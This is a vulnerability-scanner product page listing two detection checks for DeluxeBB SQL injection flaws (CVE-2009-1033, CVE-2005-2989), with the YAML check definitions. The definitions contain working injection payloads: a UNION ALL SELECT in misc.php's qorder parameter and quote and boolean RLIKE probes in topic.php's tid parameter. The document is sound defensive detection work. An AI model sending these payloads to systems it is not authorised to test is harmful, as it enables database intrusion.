DeluxeBB — 2 vulnerability checks
noctis ships 2 vulnerability checks for DeluxeBB, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
DeluxeBB <= 1.3 SQL Injection (misc.php qorder parameter)
| CVE | CVE-2009-1033 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/deluxebb/CVE-2009-1033.yaml |
Detects CVE-2009-1033 by sending a UNION ALL SELECT payload to the misc.php memberlist action and confirming the reflected SQL-Injection-Test marker in the HTTP response.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /misc.php?sub=memberlist&order=1&qorder=UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,1… - Checks
resp.bannerforSQL-Injection-Test→ finding QoD 75: DeluxeBB SQLi confirmed — UNION ALL SELECT payload on misc.php qorder reflected the SQL-Injection-Test marker at …:…
References:
Feed source — tests/vulnerabilities/deluxebb/CVE-2009-1033.yaml
# DeluxeBB <= 1.3 — 'misc.php' SQL Injection (CVE-2009-1033)
#
# DeluxeBB fails to sanitize the `qorder` parameter of the misc.php
# memberlist action before using it in an SQL query. An unauthenticated
# attacker injects a UNION ALL SELECT that reflects a marker string drawn
# from the database, confirming injection.
#
# Ported from OpenVAS/Greenbone NVT 2009/deluxeBB_1_3.nasl
# (GPL-2.0-only). Payload/marker preserved faithfully from the source plugin.
#
# The payload carries URL-encoded/`+`-separated tokens that reqwest would
# normalise, so the request is sent verbatim over tcp_connect (HTTP/1.0)
# and the reflected marker is matched on resp.banner.
uid: c9c90f07-6336-47af-8cea-1da8a0ab5050
name: "DeluxeBB <= 1.3 SQL Injection (misc.php qorder parameter)"
description: |
Detects CVE-2009-1033 by sending a UNION ALL SELECT payload to the misc.php memberlist
action and confirming the reflected SQL-Injection-Test marker in the HTTP response.
cves: [CVE-2009-1033]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [deluxebb, sqli, openvas, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-1033"
- "OpenVAS/Greenbone NASL 2009/deluxeBB_1_3.nasl (GPL-2.0-only)"
steps:
- id: sqli-probe
action: tcp_connect
port: "{{port}}"
send: "GET /misc.php?sub=memberlist&order=1&qorder=UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,0x53514c2d496e6a656374696f6e2d54657374,16,17,18,19,20,21,22,23,24,25,26,27,28,29%23&sort=ASC&filter=all&searchuser=.&submit=1 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: resp
- id: confirm-sqli
action: match
source: resp.banner
pattern: "SQL-Injection-Test"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "DeluxeBB SQLi confirmed — UNION ALL SELECT payload on misc.php qorder reflected the SQL-Injection-Test marker at {{target_host}}:{{port}}"DeluxeBB topic.php tid SQL Injection
| CVE | CVE-2005-2989 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/deluxebb/CVE-2005-2989.yaml |
DeluxeBB before 1.05 places the `tid` parameter of topic.php, unescaped, into its SQL query when PHP's magic_quotes_gpc is off, allowing unauthenticated SQL injection (other scripts such as forums.php, misc.php, pm.php and newpost.php share the flaw).
This check requests topic.php with a random topic number followed by a single quote and confirms the page prints DeluxeBB's database error ("Error querying the database" / "DeluxeBB tried to execute: SELECT"), quoting our topic number, while the same request without the quote does not. It then proves the injection with three boolean requests whose outcome depends on the database computing the sum of two random numbers: a wrong sum must raise the database error, the right sum must not. Nothing is written and no data is read from the database.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{ddir}}/topic.php?tid={{sc.n}}%27select - HTTP(S) request
GET {{ddir}}/topic.php?tid={{sc.n}} - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{ddir}}/topic.php?tid={{sc.n}}%27%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.… - HTTP(S) request
GET {{ddir}}/topic.php?tid={{sc.n}}%27%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.… - HTTP(S) request
GET {{ddir}}/topic.php?tid={{sc.n}}%27%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{ddir}}/topic.php?tid={{sc.n}}%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad… - HTTP(S) request
GET {{ddir}}/topic.php?tid={{sc.n}}%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.sum… - HTTP(S) request
GET {{ddir}}/topic.php?tid={{sc.n}}%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad… - Parses / computes the next value with a Rhai script
- Checks
bv.foundfor^BOOL$→ finding QoD 97: Boolean SQLi confirmed on …/topic.php (… tid): tid=…… AND 1 RLIKE IF(…+…=S,1,0x28) made DeluxeBB print 'Error querying the database' for S=… - Checks
qm.foundfor^QUOTE$→ finding QoD 75: SQL injection: tid=…'select on …/topic.php made DeluxeBB print 'Error querying the database' and the failed SELECT quoting our topic number…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2005-2989
- https://www.securityfocus.com/bid/14851
- https://www.exploit-db.com/exploits/26264
Feed source — tests/vulnerabilities/deluxebb/CVE-2005-2989.yaml
# DeluxeBB <= 1.04 — topic.php `tid` SQL injection (CVE-2005-2989)
#
# DeluxeBB before 1.05 puts several request parameters (topic.php tid,
# forums.php fid, misc.php, pm.php, newpost.php — BID 14851) unescaped into
# SQL queries when magic_quotes_gpc is off. On a failed query the DeluxeBB
# database class prints "Error querying the database" followed by
# "DeluxeBB tried to execute: <the SQL>".
#
# The reference check (pre2008/deluxeBB_sql_injection.nasl) requests
# `topic.php?tid='select` and greps both strings. This feed keeps that check as
# a fallback and goes further:
# 1. QoD 97 — boolean proof computed by the database: once the quote check is
# positive, `<n>' AND 1 RLIKE IF(A+B=S,1,0x28) AND 'x'='x` is sent three
# times (S wrong, right, wrong; random A/B). A wrong sum makes RLIKE
# compile the invalid regex "(" and the query fails; the right sum is
# valid SQL. Error / no error / error proves the database evaluated our
# arithmetic. tid is a quoted value in the advisory-era query style
# (`WHERE (tid='$tid')`); the same toggle without quotes
# (`<n> AND 1 RLIKE IF(...)`) covers an unquoted numeric context — each
# form is harmless in the other context. Constant-folded: verified on
# MariaDB 10.11 with an EMPTY table.
# 2. QoD 75 — the reference quote check (random numeric tid + quote), with
# our random tid echoed in the printed query, plus a control request
# (same tid, no quote) that must NOT print the database error: a page that
# always prints it stays clean.
# Beyond the reference check's detected install dir, the probe walks the usual
# install dirs.
#
# Read-only: no row is written and no data is extracted.
#
# Source: OpenVAS/Greenbone NASL pre2008/deluxeBB_sql_injection.nasl
# (OID 1.3.6.1.4.1.25623.1.0.19750, GPL-2.0-only)
uid: 35b93b98-1d86-4913-96fb-7917f8ea1805
name: "DeluxeBB topic.php tid SQL Injection (CVE-2005-2989)"
description: |
DeluxeBB before 1.05 places the `tid` parameter of topic.php, unescaped,
into its SQL query when PHP's magic_quotes_gpc is off, allowing
unauthenticated SQL injection (other scripts such as forums.php, misc.php,
pm.php and newpost.php share the flaw).
This check requests topic.php with a random topic number followed by a
single quote and confirms the page prints DeluxeBB's database error
("Error querying the database" / "DeluxeBB tried to execute: SELECT"),
quoting our topic number, while the same request without the quote does not.
It then proves the injection with three boolean requests whose outcome
depends on the database computing the sum of two random numbers: a wrong sum
must raise the database error, the right sum must not. Nothing is written and
no data is read from the database.
cves: [CVE-2005-2989]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [deluxebb, sqli, boolean-based, error-based]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2005-2989"
- "https://www.securityfocus.com/bid/14851"
- "https://www.exploit-db.com/exploits/26264"
steps:
# ── Random topic number and operands ─────────────────────────────────────
- id: gen-operands
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
#{ n: rand_int(10000000, 99999999), a: a, b: b, sum: a + b,
bad1: a + b + rand_int(1, 9), bad2: a + b - rand_int(1, 9) }
store_as: sc
# ── Per candidate DeluxeBB base path (loop group) ────────────────────────
# Pre-initialise every stored result a script reads: a failed request leaves
# store_as unset and an undefined var would abort the whole test.
- id: init-qm-resp
action: set_var
var_name: qm_resp
var_value: {status: 0, body: null}
loop:
over: ["", "/deluxebb", "/forum", "/forums", "/board", "/bb"]
var: ddir
- id: init-ctl-resp
action: set_var
var_name: ctl_resp
var_value: {status: 0, body: null}
- id: init-f1-resp
action: set_var
var_name: f1_resp
var_value: {status: 0, body: null}
- id: init-t-resp
action: set_var
var_name: t_resp
var_value: {status: 0, body: null}
- id: init-f2-resp
action: set_var
var_name: f2_resp
var_value: {status: 0, body: null}
- id: init-n1-resp
action: set_var
var_name: n1_resp
var_value: {status: 0, body: null}
- id: init-nt-resp
action: set_var
var_name: nt_resp
var_value: {status: 0, body: null}
- id: init-n2-resp
action: set_var
var_name: n2_resp
var_value: {status: 0, body: null}
# ── Stage 1: a quote breaks the query, the plain topic number does not ───
- id: qm-probe
action: http_request
method: GET
port: "{{port}}"
path: "{{ddir}}/topic.php?tid={{sc.n}}%27select"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: qm_resp
- id: ctl-probe
action: http_request
method: GET
port: "{{port}}"
path: "{{ddir}}/topic.php?tid={{sc.n}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: ctl_resp
- id: check-qm
action: script
code: |
let body = if type_of(qm_resp.body) == "string" { qm_resp.body } else { "" };
let cbody = if type_of(ctl_resp.body) == "string" { ctl_resp.body } else { "" };
let hit = body.contains("Error querying the database")
&& ereg("tried to execute:(?s).{0,40}?select", body, true)
&& body.contains(`${sc.n}`)
&& ctl_resp.status != 0
&& !cbody.contains("Error querying the database");
#{ hit: hit, found: if hit { "QUOTE" } else { "" } }
store_as: qm
# ── Stage 2: boolean proof — the database must compute A+B ───────────────
# Quoted context: tid='<n>' AND 1 RLIKE IF(A+B=S,1,0x28) AND 'x'='x'
- id: bool-false-1
action: http_request
method: GET
port: "{{port}}"
path: "{{ddir}}/topic.php?tid={{sc.n}}%27%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad1}},1,0x28)%20AND%20%27x%27%3D%27x"
condition: "qm.hit"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: f1_resp
- id: bool-true
action: http_request
method: GET
port: "{{port}}"
path: "{{ddir}}/topic.php?tid={{sc.n}}%27%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.sum}},1,0x28)%20AND%20%27x%27%3D%27x"
condition: "qm.hit"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: t_resp
- id: bool-false-2
action: http_request
method: GET
port: "{{port}}"
path: "{{ddir}}/topic.php?tid={{sc.n}}%27%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad2}},1,0x28)%20AND%20%27x%27%3D%27x"
condition: "qm.hit"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: f2_resp
- id: check-bool
action: script
code: |
let e = "Error querying the database";
let b1 = if type_of(f1_resp.body) == "string" { f1_resp.body } else { "" };
let bt = if type_of(t_resp.body) == "string" { t_resp.body } else { "" };
let b2 = if type_of(f2_resp.body) == "string" { f2_resp.body } else { "" };
let ok = qm.hit && t_resp.status != 0 && b1.contains(e) && !bt.contains(e) && b2.contains(e);
#{ ok: ok, ctx: "quoted" }
store_as: bp
# Unquoted numeric context: tid=<n> AND 1 RLIKE IF(A+B=S,1,0x28)
- id: num-false-1
action: http_request
method: GET
port: "{{port}}"
path: "{{ddir}}/topic.php?tid={{sc.n}}%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad1}},1,0x28)"
condition: "qm.hit && !bp.ok"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: n1_resp
- id: num-true
action: http_request
method: GET
port: "{{port}}"
path: "{{ddir}}/topic.php?tid={{sc.n}}%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.sum}},1,0x28)"
condition: "qm.hit && !bp.ok"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: nt_resp
- id: num-false-2
action: http_request
method: GET
port: "{{port}}"
path: "{{ddir}}/topic.php?tid={{sc.n}}%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad2}},1,0x28)"
condition: "qm.hit && !bp.ok"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: n2_resp
- id: check-num
action: script
code: |
let e = "Error querying the database";
let b1 = if type_of(n1_resp.body) == "string" { n1_resp.body } else { "" };
let bt = if type_of(nt_resp.body) == "string" { nt_resp.body } else { "" };
let b2 = if type_of(n2_resp.body) == "string" { n2_resp.body } else { "" };
let num = qm.hit && nt_resp.status != 0 && b1.contains(e) && !bt.contains(e) && b2.contains(e);
let ok = bp.ok || num;
#{ ok: ok, ctx: if bp.ok { "quoted" } else { "numeric" }, q: if bp.ok { "'" } else { "" },
found: if ok { "BOOL" } else { "" } }
store_as: bv
- id: report-bool
action: match
source: bv.found
pattern: "^BOOL$"
condition: "bv.ok"
on_match:
finding:
confidence_delta: 0.65
qod: 97
evidence: "Boolean SQLi confirmed on {{ddir}}/topic.php ({{bv.ctx}} tid): tid={{sc.n}}{{bv.q}} AND 1 RLIKE IF({{sc.a}}+{{sc.b}}=S,1,0x28) made DeluxeBB print 'Error querying the database' for S={{sc.bad1}} and S={{sc.bad2}} but not for the correct sum S={{sc.sum}}"
stop: true
- id: report-qm
action: match
source: qm.found
pattern: "^QUOTE$"
condition: "qm.hit"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "SQL injection: tid={{sc.n}}'select on {{ddir}}/topic.php made DeluxeBB print 'Error querying the database' and the failed SELECT quoting our topic number, while the control tid={{sc.n}} did not (HTTP {{qm_resp.status}} / {{ctl_resp.status}})"
stop: true